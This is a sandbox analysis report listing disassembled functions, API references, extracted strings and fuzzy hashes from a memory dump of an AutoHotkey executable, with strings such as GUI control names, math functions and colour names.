Instruction Fuzzy Hash: 8A41F0979189110FFB100919B8F23F3ABD2CBB2332F558567D1D443BC2D22AA98FD650

Uniqueness

Uniqueness Score: -1.00%

Function 0041C120 Relevance: 94.7, APIs: 27, Strings: 27, Instructions: 219COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0041C138
__wcsicoll.LIBCMT ref: 0041C14D

Strings

MonthCal, xrefs: 0041C2EF
ListBox, xrefs: 0041C1DC
ListView, xrefs: 0041C1F1
DateTime, xrefs: 0041C2DA
Edit, xrefs: 0041C147
ComboBox, xrefs: 0041C1C7
Checkbox, xrefs: 0041C171
Tab2, xrefs: 0041C26F
DropDownList, xrefs: 0041C1B1
Tab, xrefs: 0041C25A
UpDown, xrefs: 0041C21B
GroupBox, xrefs: 0041C299
Radio, xrefs: 0041C186
Button, xrefs: 0041C15C
Link, xrefs: 0041C343
ActiveX, xrefs: 0041C32E
Slider, xrefs: 0041C230
StatusBar, xrefs: 0041C319
Progress, xrefs: 0041C245
DDL, xrefs: 0041C19B
Custom, xrefs: 0041C358
Hotkey, xrefs: 0041C304
Pic, xrefs: 0041C2AE
TreeView, xrefs: 0041C206
Text, xrefs: 0041C132
Picture, xrefs: 0041C2C4
Tab3, xrefs: 0041C284

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll
String ID: ActiveX$Button$Checkbox$ComboBox$Custom$DDL$DateTime$DropDownList$Edit$GroupBox$Hotkey$Link$ListBox$ListView$MonthCal$Pic$Picture$Progress$Radio$Slider$StatusBar$Tab$Tab2$Tab3$Text$TreeView$UpDown
API String ID: 3832890014-2446625512
Opcode ID: 0c9813ba75d5d7f9bb8611c3a2c34c497686d360695a120f654efb874f00ab1e
Instruction ID: 8e6eefcf677a37afb30473ab4d9297b716c2d685bf85666f1be762190c1a4142
Opcode Fuzzy Hash: 0c9813ba75d5d7f9bb8611c3a2c34c497686d360695a120f654efb874f00ab1e
Instruction Fuzzy Hash: 6A51D25DEC1A11325E15352A2E43BDF26881C21B4BBC4447FFC14A4342F78EEA5AE0BE

Uniqueness

Uniqueness Score: -1.00%

Function 0041B7F0 Relevance: 89.5, APIs: 26, Strings: 25, Instructions: 215COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0041B808
__wcsicoll.LIBCMT ref: 0041B820

Strings

BitXOr, xrefs: 0041BA12
Asc, xrefs: 0041B802
Floor, xrefs: 0041B922
ASin, xrefs: 0041B99A
Ceil, xrefs: 0041B90A
Sqrt, xrefs: 0041B8AA
BitShiftRight, xrefs: 0041BA5A
Pow, xrefs: 0041B87A
Tan, xrefs: 0041B982
Deref, xrefs: 0041B832
Chr, xrefs: 0041B81A
HTML, xrefs: 0041B84A
ACos, xrefs: 0041B9B2
Cos, xrefs: 0041B96A
Sin, xrefs: 0041B952
Exp, xrefs: 0041B892
Abs, xrefs: 0041B93A
BitNot, xrefs: 0041BA2A
BitShiftLeft, xrefs: 0041BA42
BitAnd, xrefs: 0041B9E2
BitOr, xrefs: 0041B9FA
Round, xrefs: 0041B8F2
Log, xrefs: 0041B8C2
ATan, xrefs: 0041B9CA
Mod, xrefs: 0041B862

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll
String ID: ACos$ASin$ATan$Abs$Asc$BitAnd$BitNot$BitOr$BitShiftLeft$BitShiftRight$BitXOr$Ceil$Chr$Cos$Deref$Exp$Floor$HTML$Log$Mod$Pow$Round$Sin$Sqrt$Tan
API String ID: 3832890014-879508146
Opcode ID: 59ba3e320e0dd33247e86ee0a6514d634571ec893d2a737da14127a418b879b6
Instruction ID: e2e877aa6906a3876d3d4ab0c8446477b55f34a616459166d3f4f64c590871d9
Opcode Fuzzy Hash: 59ba3e320e0dd33247e86ee0a6514d634571ec893d2a737da14127a418b879b6
Instruction Fuzzy Hash: 23515969B41A0132EE11302E5E03BDF64899F61B4BFC4847BFC08C5281F78EDA4690EE

Uniqueness

Uniqueness Score: -1.00%

Function 0041C470 Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 143COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0041C488
__wcsicoll.LIBCMT ref: 0041C4A0

Strings

Enable, xrefs: 0041C4B2
Check, xrefs: 0041C482
HideDropDown, xrefs: 0041C55A
EditPaste, xrefs: 0041C602
Uncheck, xrefs: 0041C49A
Choose, xrefs: 0041C5D2
Show, xrefs: 0041C4E2
ShowDropDown, xrefs: 0041C542
ExStyle, xrefs: 0041C52A
TabLeft, xrefs: 0041C572
Add, xrefs: 0041C5A2
Delete, xrefs: 0041C5BA
Style, xrefs: 0041C512
ChooseString, xrefs: 0041C5EA
Hide, xrefs: 0041C4FA
TabRight, xrefs: 0041C58A
Disable, xrefs: 0041C4CA

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll
String ID: Add$Check$Choose$ChooseString$Delete$Disable$EditPaste$Enable$ExStyle$Hide$HideDropDown$Show$ShowDropDown$Style$TabLeft$TabRight$Uncheck
API String ID: 3832890014-3688457572
Opcode ID: 056f84e6500b89c183b62c059faa8617a6f0616dad51a137515ef0a9a638aebd
Instruction ID: 7e664702d1de0f518fc54228fd96b846c2e5a3abcbed55658410ec64fc75da02
Opcode Fuzzy Hash: 056f84e6500b89c183b62c059faa8617a6f0616dad51a137515ef0a9a638aebd
Instruction Fuzzy Hash: 42316C69B81A2032EE11212E4E53BDF64895B61B4BFC4447BFC04D4281F78EEE5190AE

Uniqueness

Uniqueness Score: -1.00%

Function 00481180 Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 142COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 00481198
__wcsicoll.LIBCMT ref: 004811AB

Strings

Gray, xrefs: 004811BD
Yellow, xrefs: 00481295
Default, xrefs: 0048130D
Olive, xrefs: 0048127D
Blue, xrefs: 004812C5
Silver, xrefs: 004811A5
Lime, xrefs: 00481265
Black, xrefs: 00481192
Green, xrefs: 0048124D
Navy, xrefs: 004812AD
Teal, xrefs: 004812DD
Aqua, xrefs: 004812F5
Red, xrefs: 00481205
Purple, xrefs: 0048121D
Fuchsia, xrefs: 00481235
White, xrefs: 004811D5
Maroon, xrefs: 004811ED

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll
String ID: Aqua$Black$Blue$Default$Fuchsia$Gray$Green$Lime$Maroon$Navy$Olive$Purple$Red$Silver$Teal$White$Yellow
API String ID: 3832890014-3452233305
Opcode ID: e953cf14bfa1a87d2d2c328e50c44b784998a4171aaea69d5b5251f51353cb09
Instruction ID: 726b28583ebca500ab2d58dbbd22713e2767284c0cfe0b2a653e5f0a47bbdd49
Opcode Fuzzy Hash: e953cf14bfa1a87d2d2c328e50c44b784998a4171aaea69d5b5251f51353cb09
Instruction Fuzzy Hash: 08313E4DB4161122EF55326E1D02B9F24886F6174BFD4497FFC10D1392FB8EDA0A92AE

Uniqueness

Uniqueness Score: -1.00%

Function 0047E530 Relevance: 58.0, APIs: 16, Strings: 17, Instructions: 225COMMON

Download Yara Rule

Strings

Tell, xrefs: 0047E757
Pos, xrefs: 0047E67C
Failed to connect to an active debugger client., xrefs: 0047E5F0
Read, xrefs: 0047E5C5
__Handle, xrefs: 0047E6CA
Encoding, xrefs: 0047E6FB
Close, xrefs: 0047E712
Length, xrefs: 0047E696
FileObject, xrefs: 0047EF09
Write, xrefs: 0047E60C
Line, xrefs: 0047E5EB, 0047E632
Seek, xrefs: 0047E740
Position, xrefs: 0047E729
RawRead, xrefs: 0047E650
AtEOF, xrefs: 0047E6B0
RawWrite, xrefs: 0047E666
Handle, xrefs: 0047E6E4

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID:
String ID: AtEOF$Close$Encoding$Failed to connect to an active debugger client.$FileObject$Handle$Length$Line$Pos$Position$RawRead$RawWrite$Read$Seek$Tell$Write$__Handle
API String ID: 0-3077144313
Opcode ID: a799f9cc4942b253c6be35b22cc1a867ff1cb94cb7c810deada22efb6e8465fb
Instruction ID: efa3de3124102ef219fdaca7b61e9f37e6a83230580533ca16219c6744846b1c
Opcode Fuzzy Hash: a799f9cc4942b253c6be35b22cc1a867ff1cb94cb7c810deada22efb6e8465fb
Instruction Fuzzy Hash: 0F612C31A0010466DB1456278D41FEB33A85B2930AF95C2BFEC0DAB351F76DED06D6AE

Uniqueness

Uniqueness Score: -1.00%

Function 004715F0 Relevance: 56.4, APIs: 25, Strings: 7, Instructions: 375COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0047163F
GetStockObject.GDI32(00000011), ref: 00471649
GetDC.USER32(00000000), ref: 0047166A
SelectObject.GDI32(00000000,?), ref: 00471692
GetTextFaceW.GDI32(00000000,0000003F,-004DA644), ref: 004716AB
GetTextMetricsW.GDI32(00000000,?), ref: 004716BA
GetDeviceCaps.GDI32(00000000,0000005A), ref: 004716D5
MulDiv.KERNEL32(?,00000048,00000000), ref: 004716ED
SelectObject.GDI32(00000000,00000000), ref: 0047173B
ReleaseDC.USER32(00000000,00000000), ref: 00471740
_wcsncpy.LIBCMT ref: 004717AE
__wcsnicmp.LIBCMT ref: 00471822
GetDC.USER32(00000000), ref: 004719E6
GetDeviceCaps.GDI32(00000000,0000005A), ref: 004719F1
_wcsncpy.LIBCMT ref: 00471A18
EnumFontFamiliesExW.GDI32(00000000,?,00481380,?,00000000,00000000,00000000,00000000), ref: 00471A42
ReleaseDC.USER32(00000000,00000000), ref: 00471A72
MulDiv.KERNEL32(?,00000000,00000048), ref: 00471B01
CreateFontW.GDI32(00000000), ref: 00471B0A

Strings

bold, xrefs: 0047181C
Can't create font., xrefs: 00471B20
strike, xrefs: 00471966
underline, xrefs: 004718A9
italic, xrefs: 00471847
Too many fonts., xrefs: 00471A9B
norm, xrefs: 0047186F

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Object$CapsDeviceFontReleaseSelectText_wcsncpy$CreateEnumFaceFamiliesMetricsStock__wcsnicmp_memset
String ID: Can't create font.$Too many fonts.$bold$italic$norm$strike$underline
API String ID: 1062558797-336657898
Opcode ID: 9cb05b44418e01063ba8d39eae54e3db2149855d72524ecb9d39af64839cb0c1
Instruction ID: 3974631e3c14450c0bc07f176beca0b664881a305c6b9d82be918dd1a62c3582
Opcode Fuzzy Hash: 9cb05b44418e01063ba8d39eae54e3db2149855d72524ecb9d39af64839cb0c1
Instruction Fuzzy Hash: 29D116B1A083409BE3349B34DC46BEB77E4EB95714F04892EE68D872D1E7B89409C75B

Uniqueness

Uniqueness Score: -1.00%

Function 0041C620 Relevance: 52.6, APIs: 15, Strings: 15, Instructions: 127COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0041C638
__wcsicoll.LIBCMT ref: 0041C650

Strings

Tab, xrefs: 0041C67A
Enabled, xrefs: 0041C64A
Visible, xrefs: 0041C662
CurrentLine, xrefs: 0041C6F2
CurrentCol, xrefs: 0041C70A
ExStyle, xrefs: 0041C76A
LineCount, xrefs: 0041C6DA
Hwnd, xrefs: 0041C782
Line, xrefs: 0041C722
List, xrefs: 0041C6C2
Style, xrefs: 0041C752
FindString, xrefs: 0041C692
Choice, xrefs: 0041C6AA
Checked, xrefs: 0041C632
Selected, xrefs: 0041C73A

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll
String ID: Checked$Choice$CurrentCol$CurrentLine$Enabled$ExStyle$FindString$Hwnd$Line$LineCount$List$Selected$Style$Tab$Visible
API String ID: 3832890014-586525042
Opcode ID: 6e95d8e3919229d431c6193dcbf8ed0618aa7b6650a646b41026138ca5863f24
Instruction ID: 19224e3fbce9f318ada42a70bc9d29129aebdf4092152744b19d80f3b135b2c4
Opcode Fuzzy Hash: 6e95d8e3919229d431c6193dcbf8ed0618aa7b6650a646b41026138ca5863f24
Instruction Fuzzy Hash: 25316969A81A1122EF15212E4E53BDF24895B21B0BFC4487BFC14D43C1F78EEA55D1AE

Uniqueness

Uniqueness Score: -1.00%

Function 0042B57D Relevance: 47.5, APIs: 14, Strings: 13, Instructions: 216COMMON

Download Yara Rule

APIs

_wcsncpy.LIBCMT ref: 0042B5B6
__wcsicoll.LIBCMT ref: 0042B5F2
__wcsnicmp.LIBCMT ref: 0042B62C
__wcsicoll.LIBCMT ref: 0042B646
__wcsicoll.LIBCMT ref: 0042B67B
__wcsicoll.LIBCMT ref: 0042B69D

Strings

ModifyCol, xrefs: 0042B773
Function name too long., xrefs: 0042C803
DeleteCol, xrefs: 0042B798
GetNext, xrefs: 0042B640
SetImageList, xrefs: 0042B7B8
GetText, xrefs: 0042B697
GetCount, xrefs: 0042B675
Add, xrefs: 0042B6BD
Delete, xrefs: 0042B72E
Insert, xrefs: 0042B6E4
Modify, xrefs: 0042B709
LV_, xrefs: 0042B61F
InsertCol, xrefs: 0042B750

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll$__wcsnicmp_wcsncpy
String ID: Add$Delete$DeleteCol$Function name too long.$GetCount$GetNext$GetText$Insert$InsertCol$LV_$Modify$ModifyCol$SetImageList
API String ID: 3240457921-3049600462
Opcode ID: e9334eb82869fbbf4a6ff3359bd9831252c41840863a3eb8633945da137164f8
Instruction ID: 39cb9a3fd403fc370eef6fca9333c88eac97b048f511fd6fd33b024af1fbf178
Opcode Fuzzy Hash: e9334eb82869fbbf4a6ff3359bd9831252c41840863a3eb8633945da137164f8
Instruction Fuzzy Hash: E461D372A043125BCB10DE559881AAB73D4EF94309F544D3FEC08A7241EB79EE09C7DA

Uniqueness

Uniqueness Score: -1.00%

Function 0041B4F0 Relevance: 47.4, APIs: 14, Strings: 13, Instructions: 143COMMON

Download Yara Rule

APIs

__wcstoi64.LIBCMT ref: 0041B519

Part of subcall function 0049A060: wcstoxq.LIBCMT ref: 0049A081

__wcsicoll.LIBCMT ref: 0041B540
__wcsicoll.LIBCMT ref: 0041B556
__wcsicoll.LIBCMT ref: 0041B56C

Strings

BassBoost, xrefs: 0041B5ED
Treble, xrefs: 0041B659
QSoundPan, xrefs: 0041B623
Volume, xrefs: 0041B550
Bass, xrefs: 0041B63E
StereoEnh, xrefs: 0041B5D2
Equalizer, xrefs: 0041B674
OnOff, xrefs: 0041B566
Mono, xrefs: 0041B59C
Pan, xrefs: 0041B608
Mute, xrefs: 0041B581
Loudness, xrefs: 0041B5B7
Vol, xrefs: 0041B53A

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll$__wcstoi64wcstoxq
String ID: Bass$BassBoost$Equalizer$Loudness$Mono$Mute$OnOff$Pan$QSoundPan$StereoEnh$Treble$Vol$Volume
API String ID: 1236819900-1456001458
Opcode ID: 4de2b772e860efe6bfa0e5e01ff30c470bc476e505a6ef8bcd5998adcf571d97
Instruction ID: 7a841154874060bda45ad242b3a0e3ab406a6aca7e27b374eed37d88fdefb1dc
Opcode Fuzzy Hash: 4de2b772e860efe6bfa0e5e01ff30c470bc476e505a6ef8bcd5998adcf571d97
Instruction Fuzzy Hash: 3E310CA5E4161032DF16212A2D03BCE64454B71B4BFC8847AFC0895381F78EDAA991FF

Uniqueness

Uniqueness Score: -1.00%

Function 00459540 Relevance: 46.0, APIs: 17, Strings: 9, Instructions: 458windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001101,00000000,00000000), ref: 0045960E
__wcsicoll.LIBCMT ref: 0045974E
__wcsnicmp.LIBCMT ref: 00459779
__wcsicoll.LIBCMT ref: 0045978E
SendMessageW.USER32(?,00001132,00000000,?), ref: 004599F4
SendMessageW.USER32(00000000,0000113F,00000000,00000008), ref: 00459A50
SendMessageW.USER32(00000000,00001114,00000000,?), ref: 00459A83
SendMessageW.USER32(00000000,0000110B,00000005,?), ref: 00459A9F
SendMessageW.USER32(?,0000110B,?,?), ref: 00459ABB

Strings

Expand, xrefs: 0045980A
First, xrefs: 00459788, 0045995F
Check, xrefs: 0045987C
Select, xrefs: 00459745
", xrefs: 004598EC
Bold, xrefs: 004597C0
Vis, xrefs: 00459773
Sort, xrefs: 00459907
Icon, xrefs: 004598D0

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: MessageSend$__wcsicoll$__wcsnicmp
String ID: "$Bold$Check$Expand$First$Icon$Select$Sort$Vis
API String ID: 2665471568-3379154359
Opcode ID: aefc862266892fa3553a4b9676a82e3c416c81966e14b5f42d9e64b0f223fdcd
Instruction ID: 177f2d6e0b9f6bcdb33ea9b9a590cea1e37f561e74b2ad1f0db3a3b274f33301
Opcode Fuzzy Hash: aefc862266892fa3553a4b9676a82e3c416c81966e14b5f42d9e64b0f223fdcd
Instruction Fuzzy Hash: 40F17FB1A04341EBD7209F25C84176BB7E4AF95306F14896EFC8997382E378DD48CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0045B320 Relevance: 45.7, APIs: 14, Strings: 12, Instructions: 199COMMON

Download Yara Rule

APIs

__fassign.LIBCMT ref: 0045B376
__wcsnicmp.LIBCMT ref: 0045B39D
__fassign.LIBCMT ref: 0045B3CE

Part of subcall function 0049A0CD: __fassign.LIBCMT ref: 0049A0C3

__wcsicoll.LIBCMT ref: 0045B401

Strings

Joy, xrefs: 0045B397
JoyAxes, xrefs: 0045B4E5
JoyX, xrefs: 0045B3FB
JoyR, xrefs: 0045B449
JoyPOV, xrefs: 0045B497
JoyZ, xrefs: 0045B42F
JoyButtons, xrefs: 0045B4CB
JoyY, xrefs: 0045B415
JoyName, xrefs: 0045B4B1
JoyU, xrefs: 0045B463
JoyV, xrefs: 0045B47D
JoyInfo, xrefs: 0045B4FF

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __fassign$__wcsicoll__wcsnicmp
String ID: Joy$JoyAxes$JoyButtons$JoyInfo$JoyName$JoyPOV$JoyR$JoyU$JoyV$JoyX$JoyY$JoyZ
API String ID: 3933591233-249873715
Opcode ID: 324fb9d4e3fc3b38459b0ab995a2c816fef32ee7648b51ad36eb58285b925485
Instruction ID: 88364c352382a1842044c7ac81f3648935400cc86ed10014846f1794616480b6
Opcode Fuzzy Hash: 324fb9d4e3fc3b38459b0ab995a2c816fef32ee7648b51ad36eb58285b925485
Instruction Fuzzy Hash: 2741656260061022EE21252E7D82BEF5689CF61717F15447BFC44E9383F78DDD8A90EE

Uniqueness

Uniqueness Score: -1.00%

Function 004420F0 Relevance: 44.1, APIs: 22, Strings: 3, Instructions: 381COMMON

Download Yara Rule

Strings

Off, xrefs: 00442208
+-^, xrefs: 0044234E
Parameter #1 invalid., xrefs: 00442114

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll
String ID: +-^$Off$Parameter #1 invalid.
API String ID: 3832890014-3419364491
Opcode ID: a59713dcf4e9b9ed5e5df409c0f5cd1a5386660aa5f1d5158408fda7fbb28d9f
Instruction ID: 2ad6502e5a490b1c9097729e5c89c7b9b97553846f446f54bf96822bc900ae32
Opcode Fuzzy Hash: a59713dcf4e9b9ed5e5df409c0f5cd1a5386660aa5f1d5158408fda7fbb28d9f
Instruction Fuzzy Hash: 01C15A316443105BE720AF24AD44BBF7BA4DB86725F50063BFD51A62C1CBBC9D09C7AA

Uniqueness

Uniqueness Score: -1.00%

Function 0042B7F4 Relevance: 43.9, APIs: 12, Strings: 13, Instructions: 137COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0042B7FE
__wcsicoll.LIBCMT ref: 0042B821

Strings

Get, xrefs: 0042B904
Function name too long., xrefs: 0042C803
GetParent, xrefs: 0042B860
GetNext, xrefs: 0042B8E2
GetPrev, xrefs: 0042B894
SetImageList, xrefs: 0042B930
GetText, xrefs: 0042B91A
GetCount, xrefs: 0042B8AE
GetSelection, xrefs: 0042B8C8
Add, xrefs: 0042B7F8
Delete, xrefs: 0042B83E
GetChild, xrefs: 0042B87A
Modify, xrefs: 0042B81B

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll
String ID: Add$Delete$Function name too long.$Get$GetChild$GetCount$GetNext$GetParent$GetPrev$GetSelection$GetText$Modify$SetImageList
API String ID: 3832890014-4116235998
Opcode ID: 182f494c8bd9b5c5ebf5ebfb06b443153f524f0c481fdf48a02403c2e3c90cd0
Instruction ID: 89202ee7d12e203e829cc0bfd51c06d45cd8840db19b3387679bcdaadd2cd49d
Opcode Fuzzy Hash: 182f494c8bd9b5c5ebf5ebfb06b443153f524f0c481fdf48a02403c2e3c90cd0
Instruction Fuzzy Hash: 8241ED72A043125ACB00E6659D42BAF33D89E5474AF54493FFD08A3241F76DEE08C7AE

Uniqueness

Uniqueness Score: -1.00%

Function 0045C570 Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 199windowCOMMON

Download Yara Rule

